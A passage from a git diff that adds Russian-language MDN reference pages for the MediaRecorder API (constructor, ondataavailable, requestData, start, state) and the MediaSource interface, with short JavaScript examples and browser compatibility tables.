+title: MediaRecorder.MediaRecorder()
+slug: Web/API/MediaRecorder/MediaRecorder
+translation_of: Web/API/MediaRecorder/MediaRecorder
+---
+<div>{{APIRef("MediaStream Recording")}}</div>
+
+<p><strong><code>MediaRecorder()</code></strong> конструктор {{domxref("MediaRecorder")}} объекта который будет делать запись переданного {{domxref("MediaStream")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>mediaRecorder</em> = new MediaRecorder(<em>stream</em>[, <em>options</em>]);</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code><strong>stream</strong></code></dt>
+ <dd>Объект потока {{domxref("MediaStream")}} источника из которого будет производиться запись. Может быть потоком, созданным {{domxref("MediaDevices.getUserMedia", "navigator.mediaDevices.getUserMedia()")}} или {{HTMLElement("audio")}}, {{HTMLElement("video")}} или {{HTMLElement("canvas")}} элементами.</dd>
+ <dt>
+ <p><strong><code>options</code> </strong>{{optional_inline}}</p>
+ </dt>
+ <dd>
+ <p>Объект, содержащий следующие свойства:</p>
+
+ <ul>
+  <li><code>mimeType</code>:  <code>mime</code> тип, определяет формат результата записи, который нужно использовать в качестве контейнера для создаваемого объекта <code>MediaRecorder</code>. Можно просто указать формат контейнера, а браузер сам выберет нужный кодек для записи аудио/видео, или испоьзуйте <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/Media/Formats/codecs_parameter">параметр codecs</a> или параметр<code> profiles</code> для расширения информации об использовании и тонкой конфигурации кодеков. Приложения, предварительно, могут проверять поддержку браузерами определенного типа из свойства <code>mimeType</code> , вызывая метод {{domxref("MediaRecorder.isTypeSupported()")}}.</li>
+  <li><code>audioBitsPerSecond</code>: Скорость записи медиа данных аудио.</li>
+  <li><code>videoBitsPerSecond</code>: Скорость записи медиа данных видео.</li>
+  <li><code>bitsPerSecond</code>: Скорость записи медиаданных аудио и видео. Может определяться вместо верхних двух. Если определяется вместе с одним из свойств выше, имеет меньший приоритет, и используется  вместо отсутствующей настройки выше..</li>
+ </ul>
+
+ <div class="note">
+ <p> Если значения битов в секунду не указаны для видео и / или аудио, для видео по умолчанию принимается значение 2,5 Мбит / с, а для аудио по умолчанию используется адаптивный режим, в зависимости от частоты дискретизации и количества каналов.</p>
+ </div>
+ </dd>
+</dl>
+
+<h3 id="Исключения">Исключения</h3>
+
+<dl>
+ <dt><code>NotSupportedError</code></dt>
+ <dd>Определяет MIME тип, не поддерживающийся браузером.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<p>В этом примере показано, как создать медиа рекордер для указанного потока, чья скорость передачи звука составляет 128 Кбит / с, а скорость передачи видео - 2,5 Мбит / с. Записанные мультимедийные данные будут храниться в контейнере MP4 (поэтому, если вы соберете порции мультимедийных данных и сохраните их на диск, они будут в файле с разрешением MP4).</p>
+
+<pre class="brush: js">...
+<code class="language-html">
+
+if (navigator.mediaDevices.getUserMedia) {
+  var constraints = { audio: true, video: true };
+  var chunks = [];
+
+  </code>var onSuccess = function(stream) {
+    var options = {
+      audioBitsPerSecond : 128000,
+      videoBitsPerSecond : 2500000,
+      mimeType : 'video/mp4'
+    }
+    var mediaRecorder = new MediaRecorder(stream,options);
+    m = mediaRecorder;
+
+...</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("MediaStream Recording")}}</td>
+   <td>{{Spec2("MediaStream Recording")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(47)}}</td>
+   <td>{{CompatGeckoDesktop("25.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>options object</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("43.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(47)}}</td>
+   <td>{{CompatGeckoDesktop("25.0")}}</td>
+   <td>1.3<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(47)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] The initial Firefox OS implementation only supported audio recording.</p>
+
+<h2 id="Смотри_так_же">Смотри так же</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/MediaRecorder_API/Using_the_MediaRecorder_API">Использование MediaRecorder API</a></li>
+ <li><a href="http://mdn.github.io/web-dictaphone/">Веб диктофон </a>: MediaRecorder + getUserMedia + Web Audio API visualization demo, by <a href="https://twitter.com/chrisdavidmills">Chris Mills</a> (<a href="https://github.com/mdn/web-dictaphone/">source on Github</a>.)</li>
+ <li><a href="http://simpl.info/mediarecorder/">simpl.info MediaStream Recording demo</a>, by <a href="https://twitter.com/sw12">Sam Dutton</a>.</li>
+ <li>{{domxref("Navigator.mediaDevices.getUserMedia()")}}</li>
+</ul>
diff --git a/files/ru/web/api/mediarecorder/ondataavailable/index.html b/files/ru/web/api/mediarecorder/ondataavailable/index.html
new file mode 100644
index 0000000000..e84e622f74
--- /dev/null
+++ b/files/ru/web/api/mediarecorder/ondataavailable/index.html
@@ -0,0 +1,81 @@
+---
+title: MediaRecorder.ondataavailable
+slug: Web/API/MediaRecorder/ondataavailable
+translation_of: Web/API/MediaRecorder/ondataavailable
+---
+<p>{{APIRef("MediaStream Recording")}}</p>
+
+<p><strong><code>MediaRecorder.ondataavailable </code></strong>обработчик события (часть <a href="/en-US/docs/Web/API/MediaStream_Recording_API">MediaStream Recording API</a>) обрабатывает {{event("dataavailable")}} событие, позволяет выполнить код, когда тип данных  {{domxref("Blob")}}, представляющий обработанные данные становиться доступным для использования.</p>
+
+<p>Событие <code>dataavailable</code> вызывается когда MediaRecorder доставляет медиа данные в ваше приложение для использования. Они представляются в виде объекта типа  {{domxref("Blob")}}, содержащего данные. Это происходит в четырёх ситуациях:</p>
+
+<ul>
+ <li>Когда медиа поток завершается, любые мультимедийные данные ещё не доставленные в обработчик <code>ondataavailable</code> немедленно передаются в объект {{domxref("Blob")}}.</li>
+ <li>При вызове метода  {{domxref("MediaRecorder.stop()")}} , порция медиаданных, объем которых был захвачен с момента начала записи или после последнего вызова события <code>dataavailable</code> помещаються в объект  {{domxref("Blob")}};  после этого захват завершается.</li>
+ <li>При вызове метода {{domxref("MediaRecorder.requestData()")}} порция медиаданных, объем которых был захвачен с момента начала записи, или после последнего вызова события <code>dataavailable</code> помещаются в вновь созданный объект типа <code>Blob</code> , и захват порций медиаданных продолжается уже в этот новый объект <code>blob</code>.</li>
+ <li>Если свойство  <code>timeslice</code> передается в метод {{domxref("MediaRecorder.start()")}}, который запускает захват порций медиаданных, событие  <code>dataavailable</code> запускается каждые <code>timeslice</code> миллисекунд. Это значит, что каждый объект типа <code>blob</code> будет иметь специфичиский размер (за исключением последнего, который может быть короче, содержащий все, что осталось с момента последнего события ). Поэтому, если метод выглядит так : <code>recorder.start(1000);</code> то событие  <code>dataavailable</code> будет запускаться каждую секунду общего потока медиа захвата, и обработчик события будет вызываться каждую секунду, содержащий в параметре объект типа  <code>blob</code> , который будет содержать объем порции записи медиаданных продолжительностью в одну секунду. Можно использовать свойство  <code>timeslice</code> вместе с {{domxref("MediaRecorder.stop()")}} и {{domxref("MediaRecorder.requestData()")}} для создания нескольких объектов типа<code> blob</code> одинакового объема данных , плюс последние короткие объекты типа<code> blob.</code></li>
+</ul>
+
+<div class="note">
+<p>Медиаданные, содержащиеся в объекте типа {{domxref("Blob")}} доступны в свойстве <code>data</code> , возвращаемого в параметре объекта события {{event("dataavailable")}}.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><span class="idlInterface" id="idl-def-IDBRequest"><span class="idlAttribute"><span class="idlInterface" id="idl-def-MediaRecorder"><span class="idlAttribute"><em>MediaRecorder</em>.ondataavailable = function(event) { ... }
+<em>MediaRecorder</em>.addEventListener('dataavailable', function(event) { ... })</span></span></span></span>
+</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js" id="line1"><span>...
+
+  mediaRecorder.onstop = function(e) {
+    console.log("data available after MediaRecorder.stop() called.");
+
+    var audio = document.createElement('audio');
+    audio.controls = true;
+    var blob = new Blob(chunks, { 'type' : 'audio/ogg; codecs=opus' });
+    var audioURL = window.URL.createObjectURL(blob);
+    audio.src = audioURL;
+    console.log("recorder stopped");
+  }
+
+  mediaRecorder.ondataavailable = function(e) {
+    chunks.push(e.data);
+  }
+
+...</span>
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("MediaStream Recording", "#widl-MediaRecorder-ondataavailable", "MediaRecorder.ondataavailable")}}</td>
+   <td>{{Spec2("MediaStream Recording")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.MediaRecorder.ondataavailable")}}</p>
+
+<h2 id="Смотри_так_же">Смотри так же</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/MediaStream_Recording_API">Использование интерфейса записи медиапотока</a></li>
+ <li><a href="http://mdn.github.io/web-dictaphone/">Веб диктофон</a>: MediaRecorder + getUserMedia + Web Audio API пример визуализации, от <a href="https://twitter.com/chrisdavidmills">Chris Mills</a> (<a href="https://github.com/mdn/web-dictaphone/">source on Github</a>.)</li>
+ <li><a href="http://simpl.info/mediarecorder/">Демонстрационный пример записи медиапотока</a>, от <a href="https://twitter.com/sw12">Sam Dutton</a>.</li>
+ <li>{{domxref("Navigator.getUserMedia")}}</li>
+</ul>
diff --git a/files/ru/web/api/mediarecorder/requestdata/index.html b/files/ru/web/api/mediarecorder/requestdata/index.html
new file mode 100644
index 0000000000..07fb15a876
--- /dev/null
+++ b/files/ru/web/api/mediarecorder/requestdata/index.html
@@ -0,0 +1,123 @@
+---
+title: MediaRecorder.requestData()
+slug: Web/API/MediaRecorder/requestData
+translation_of: Web/API/MediaRecorder/requestData
+---
+<p>{{APIRef("MediaStream Recording")}}</p>
+
+<p><span class="seoSummary">Метод <strong><code>MediaRecorder.requestData()</code></strong> (часть <a href="/en-US/docs/Web/API/MediaRecorder_API">MediaRecorder API</a>) используется, чтобы поднять {{domxref("dataavailable")}} событие содержащее {{domxref("Blob")}} объект захваченных медиа-данных как это было когда метод был вызван.</span> This can then be grabbed и маниулировать как необходимо.</p>
+
+<p>When the <code>requestData()</code> method is invoked, the browser queues a task that runs the following steps:</p>
+
+<ol>
+ <li>If {{domxref("MediaRecorder.state")}} is not "recording", raise a DOM <code>InvalidState</code> error and terminate these steps. If {{domxref("MediaRecorder.state")}} is "recording", continue to the next step.</li>
+ <li>Raise a {{domxref("dataavailable")}} event containing a {{domxref("Blob")}} of the currently captured data (the Blob is available under the event's <code>data</code> attribute.)</li>
+ <li>Create a new Blob and place subsequently captured data into it.</li>
+</ol>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">MediaRecorder.requestData()</pre>
+
+<h3 id="Errors">Errors</h3>
+
+<p>An <code>InvalidState</code> error is raised if the <code>requestData()</code> method is called while the <code>MediaRecorder</code> object’s {{domxref("MediaRecorder.state")}} is not "recording" — the media cannot be captured if recording is not occurring.</p>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js">...
+
+  captureMedia.onclick = function() {
+    mediaRecorder.requestData();
+    // makes snapshot available of data so far
+    // ondataavailable fires, then capturing continues
+    // in new Blob
+  }
+
+...</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("MediaStream Recording", "#widl-MediaRecorder-requestData-void", "MediaRecorder.requestData()")}}</td>
+   <td>{{Spec2("MediaStream Recording")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(47)}}<sup>[2]</sup></td>
+   <td>{{CompatGeckoDesktop("25.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("25.0")}}</td>
+   <td>1.3<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] The intial Firefox OS implementation only supported audio recording.</p>
+
+<p>[2] To try this feature on Chrome, enable <em>Experimental Web Platform features</em> from <a>chrome://flags</a> . Currently only video is supported, not audio.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/MediaRecorder_API/Using_the_MediaRecorder_API">Using the MediaRecorder API</a></li>
+ <li><a href="http://mdn.github.io/web-dictaphone/">Web Dictaphone</a>: MediaRecorder + getUserMedia + Web Audio API visualization demo, by <a href="https://twitter.com/chrisdavidmills">Chris Mills</a> (<a href="https://github.com/mdn/web-dictaphone/">source on Github</a>.)</li>
+ <li><a href="http://simpl.info/mediarecorder/">simpl.info MediaStream Recording demo</a>, by <a href="https://twitter.com/sw12">Sam Dutton</a>.</li>
+ <li>{{domxref("Navigator.getUserMedia")}}</li>
+</ul>
diff --git a/files/ru/web/api/mediarecorder/start/index.html b/files/ru/web/api/mediarecorder/start/index.html
new file mode 100644
index 0000000000..c86d17137e
--- /dev/null
+++ b/files/ru/web/api/mediarecorder/start/index.html
@@ -0,0 +1,80 @@
+---
+title: MediaRecorder.start()
+slug: Web/API/MediaRecorder/start
+translation_of: Web/API/MediaRecorder/start
+---
+<div>{{APIRef("Media Recorder API")}}</div>
+
+<p><span class="seoSummary">Метод <strong><code>MediaRecorder.start()</code></strong> (часть <a href="/en-US/docs/Web/API/MediaRecorder_API">MediaRecorder API</a>) используется для начала захвата медиа {{domxref("Blob")}}.</span></p>
+
+<p>When the <code>start()</code> method is invoked, the UA queues a task that runs the following steps:</p>
+
+<ol>
+ <li>If the {{domxref("MediaRecorder.state")}} is not "inactive", raise a DOM <code>InvalidState</code> error and terminate these steps. if the {{domxref("MediaRecorder.state")}} is "inactive", continue on to the next step.</li>
+ <li>Set the {{domxref("MediaRecorder.state")}} to "recording" and wait until media becomes available from the <code>stream</code> passed into {{domxref("Navigator.getUserMedia")}}.</li>
+ <li>Once data becomes available, raise a {{domxref("MediaRecorder.start")}} event and start gathering the data into a {{domxref("Blob")}} (see <cite><a class="bibref" href="https://dvcs.w3.org/hg/dap/raw-file/default/media-stream-capture/MediaRecorder.html#bib-FILE-API">FILE-API</a></cite>).</li>
+ <li>If the <code>timeSlice</code> argument has been provided, once that many milliseconds of data have been collected — or a minimum time slice imposed by the UA, whichever is greater — raise a {{domxref("MediaRecorder.dataavailable")}} event containing the Blob of collected data, and start gathering a new Blob of data. If <code>timeSlice</code> has not been provided, continue gathering data into the original Blob.</li>
+ <li>When the <code>stream</code> is ended, set {{domxref("MediaRecorder.state")}} to "inactive" and stop gathering data.</li>
+ <li>Raise a {{domxref("MediaRecorder.dataavailable")}} event containing the Blob of data.</li>
+ <li>Raise a {{domxref("MediaRecorder.stop")}} event.</li>
+</ol>
+
+<div class="note">
+<p><strong>Note</strong>: If the browser is unable to start recording or continue recording, it<em> will</em> raise a {{domxref("DOMError")}} event, followed by a {{domxref("MediaRecorder.dataavailable")}} event containing the Blob it has gathered, followed by the {{domxref("MediaRecorder.stop")}} event.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">MediaRecorder.start(timeslice)</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>timeslice</code> {{optional_inline}}</dt>
+ <dd>Этот параметр принимает значение в миллисекундах, и переопределяет длину куска захвата медиа для возвращения в каждом Blob. Если не указан, то все медиа данные будут занесены в один Blob, только если не был вызван метод {{domxref("MediaRecorder.requestData")}}.</dd>
+</dl>
+
+<h3 id="Ошибки">Ошибки</h3>
+
+<p>An <code>InvalidState</code> error is raised if the <code>start()</code> method is called while the <code>MediaRecorder</code> object’s {{domxref("MediaRecorder.state")}} is not "inactive" — it makes no sense to start media capture if it is already happening.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">...
+
+  record.onclick = function() {
+    mediaRecorder.start();
+    console.log("рекордер запущен");
+  }
+
+...</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("MediaStream Recording", "#widl-MediaRecorder-start-void-long-timeslice", "MediaRecorder.start()")}}</td>
+   <td>{{Spec2("MediaStream Recording")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.MediaRecorder.start")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/API/MediaRecorder_API/Using_the_MediaRecorder_API">Использование MediaRecorder API</a></li>
+ <li><a href="http://mdn.github.io/web-dictaphone/">Веб-диктофон</a>: MediaRecorder + getUserMedia + Web Audio API от <a href="https://twitter.com/chrisdavidmills">Chris Mills</a> (<a href="https://github.com/mdn/web-dictaphone/">исходники на Github</a>.)</li>
+ <li><a href="http://simpl.info/mediarecorder/">simpl.info Пример использования MediaStream</a> от <a href="https://twitter.com/sw12">Sam Dutton</a>.</li>
+ <li>{{domxref("Navigator.getUserMedia")}}</li>
+</ul>
diff --git a/files/ru/web/api/mediarecorder/state/index.html b/files/ru/web/api/mediarecorder/state/index.html
new file mode 100644
index 0000000000..b153d0d1ae
--- /dev/null
+++ b/files/ru/web/api/mediarecorder/state/index.html
@@ -0,0 +1,84 @@
+---
+title: MediaRecorder.state
+slug: Web/API/MediaRecorder/state
+translation_of: Web/API/MediaRecorder/state
+---
+<div>{{APIRef("MediaStream Recording")}}</div>
+
+<p>Свойство только для чтения <strong><code>MediaRecorder.state</code></strong> возвращает текущее состояние определённого объекта <code>MediaRecorder</code>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>state</em> = MediaRecorder.state</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<p>Объект <a href="http://w3c.github.io/web-animations/#enumdef-animationplaystate">AnimationPlayState</a> содержит одно из нижеперечисленных значений:</p>
+
+<table class="simple">
+ <thead>
+  <tr>
+   <th scope="row">Значение</th>
+   <th scope="col">Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row"><code id="idl-def-RecordingStateEnum.inactive">inactive</code></th>
+   <td>Запись не ведётся — она ещё не была начата или уже была осуществлена и остановлена.</td>
+  </tr>
+  <tr>
+   <th scope="row"><code id="idl-def-RecordingStateEnum.recording">recording</code></th>
+   <td>Запись начата и UA собирает данные.</td>
+  </tr>
+  <tr>
+   <th scope="row"><code id="idl-def-RecordingStateEnum.paused">paused</code></th>
+   <td>Запись была начата, но поставлена на паузу, не остановлена и ещё не возобновлена.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">...
+
+  record.onclick = function() {
+    mediaRecorder.start();
+    console.log(mediaRecorder.state);
+    // Должно вернуть "recording"
+    console.log("захват начат");
+  }
+
+...</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("MediaStream Recording", "#widl-MediaRecorder-state", "MediaRecorder.state")}}</td>
+   <td>{{Spec2("MediaStream Recording")}}</td>
+   <td>Определена</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.MediaRecorder.state")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/API/MediaRecorder_API/Using_the_MediaRecorder_API">Использование MediaRecorder API</a></li>
+ <li><a href="http://mdn.github.io/web-dictaphone/">Веб-диктафон</a>: MediaRecorder + getUserMedia + Web Audio API от <a href="https://twitter.com/chrisdavidmills">Chris Mills</a> (<a href="https://github.com/mdn/web-dictaphone/">исходники на Github</a>.)</li>
+ <li><a href="http://simpl.info/mediarecorder/">simpl.info Демонстрация MediaStream Recording</a> от <a href="https://twitter.com/sw12">Sam Dutton</a>.</li>
+ <li>{{domxref("Navigator.getUserMedia")}}</li>
+</ul>
diff --git a/files/ru/web/api/mediasource/index.html b/files/ru/web/api/mediasource/index.html
new file mode 100644
index 0000000000..86746ab4e1
--- /dev/null
+++ b/files/ru/web/api/mediasource/index.html
@@ -0,0 +1,194 @@
+---
+title: MediaSource
+slug: Web/API/MediaSource
+tags:
+  - Видео
+  - Интерфейс
+  - Источник
+  - Потоковое медиа
+  - Расширение
+  - аудио
+translation_of: Web/API/MediaSource
+---
+<p>{{APIRef("Media Source Extensions")}}{{SeeCompatTable}}</p>
+
+<p><strong><code>MediaSource</code></strong> – это интерфейс <a href="/en-US/docs/Web/API/Media_Source_Extensions_API">Media Source Extensions API</a> для предоставления интерактивного источника медиаданных объектам типа {{domxref("HTMLMediaElement")}}.</p>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<dl>
+ <dt>{{domxref("MediaSource.MediaSource", "MediaSource()")}}</dt>
+ <dd>Создает и возвращает новый объект <code>MediaSource</code> не имеющий подключенных буферов данных.</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Наследует свойства родительского интерфейса , {{domxref("EventTarget")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("MediaSource.sourceBuffers")}} {{readonlyInline}}</dt>
+ <dd>Возвращает объект типа {{domxref("SourceBufferList")}}  содержащий список объектов типа {{domxref("SourceBuffer")}} , связанных непосредственно с текущим <code>MediaSource</code>.</dd>
+ <dt>{{domxref("MediaSource.activeSourceBuffers")}} {{readonlyInline}}</dt>
+ <dd>Возвращает объект типа {{domxref("SourceBufferList")}} содержащий подмножество объектов типа {{domxref("SourceBuffer")}} хранящих в себе другие объекты типа {{domxref("SourceBuffers")}} — список объектов, предоставляющих доступ к выбранному видео, доступным аудиодорожкам, текстовым данным и тд.</dd>
+ <dt>{{domxref("MediaSource.readyState")}} {{readonlyInline}}</dt>
+ <dd>Возвращает enum, отображающий состояние текущего <code>MediaSource-объекта</code>, будь то отсутствие подключения к медиа-элементу(<code>closed</code>), подключенный и готовый к передаче объектов типа {{domxref("SourceBuffer")}} (<font face="consolas, Liberation Mono, courier, monospace">open</font>), или подключенный, но с завершенным потоком {{domxref("MediaSource.endOfStream()")}} (<code>ended</code>.)</dd>
+ <dt>{{domxref("MediaSource.duration")}}</dt>
+ <dd>Возвращает или устанавливает продолжительность предоставляемых медиаданных.</dd>
+</dl>
+
+<dl>
+</dl>
+
+<dl>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Наследует свойства родительского интерфейса, {{domxref("EventTarget")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("MediaSource.addSourceBuffer()")}}</dt>
+ <dd>Создает новый объект типа {{domxref("SourceBuffer")}}, с указанным  MIME-типом и добавляет в список <code>MediaSource</code>'s {{domxref("SourceBuffers")}}.</dd>
+ <dt>{{domxref("MediaSource.removeSourceBuffer()")}}</dt>
+ <dd>Удаляет указанный {{domxref("SourceBuffer")}} из списка {{domxref("SourceBuffers")}}, связанного с текущим <code>MediaSource-объектом</code>.</dd>
+ <dt>{{domxref("MediaSource.endOfStream()")}}</dt>
+ <dd>Сигнализирует об окончании потока.</dd>
+ <dt>
+ <h2 id="Статичные_методы">Статичные методы</h2>
+ </dt>
+ <dt>{{domxref("MediaSource.isTypeSupported()")}}</dt>
+ <dd>Возвращает значение {{domxref("Boolean")}}, поясняющее, поддерживается ли клиентом полученный MIME-тип  — если это так, то можно успешно создать объект типа {{domxref("SourceBuffer")}} для этого MIME-типа.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Нижеприведенный простой пример подгружает видео фрагмент за фрагментом так скоро, как может, воспроизводя их "как только так сразу". Этот пример был написан Nick Desaulniers и может быть <a href="http://nickdesaulniers.github.io/netfix/demo/bufferAll.html">просмотрен здесь в виде демо</a> (также вы можете <a href="https://github.com/nickdesaulniers/netfix/blob/gh-pages/demo/bufferAll.html">загрузить исходный код</a> для дальнейшего изучения.)</p>
+
+<pre class="brush: js">var video = document.querySelector('video');
+
+var assetURL = 'frag_bunny.mp4';
+// Need to be specific for Blink regarding codecs
+// ./mp4info frag_bunny.mp4 | grep Codec
+var mimeCodec = 'video/mp4; codecs="avc1.42E01E, mp4a.40.2"';
+
+if ('MediaSource' in window &amp;&amp; MediaSource.isTypeSupported(mimeCodec)) {
+  var mediaSource = new MediaSource();
+  //console.log(mediaSource.readyState); // closed
+  video.src = URL.createObjectURL(mediaSource);
+  mediaSource.addEventListener('sourceopen', sourceOpen);
+} else {
+  console.error('Unsupported MIME type or codec: ', mimeCodec);
+}
+
+function sourceOpen (_) {
+  //console.log(this.readyState); // open
+  var mediaSource = this;
+  var sourceBuffer = mediaSource.addSourceBuffer(mimeCodec);
+  fetchAB(assetURL, function (buf) {
+    sourceBuffer.addEventListener('updateend', function (_) {
+      mediaSource.endOfStream();
+      video.play();
+      //console.log(mediaSource.readyState); // ended
+    });
+    sourceBuffer.appendBuffer(buf);
+  });
+};
+
+function fetchAB (url, cb) {
+  console.log(url);
+  var xhr = new XMLHttpRequest;
+  xhr.open('get', url);
+  xhr.responseType = 'arraybuffer';
+  xhr.onload = function () {
+    cb(xhr.response);
+  };
+  xhr.send();
+};</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Media Source Extensions', '#mediasource', 'MediaSource')}}</td>
+   <td>{{Spec2('Media Source Extensions')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>23{{property_prefix("-webkit")}}<br>
+    31</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("25.0")}}<sup>[1]</sup><br>
+    {{CompatGeckoDesktop("42.0")}}</td>
+   <td>11<sup>[2]</sup></td>
+   <td>15</td>
+   <td>8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
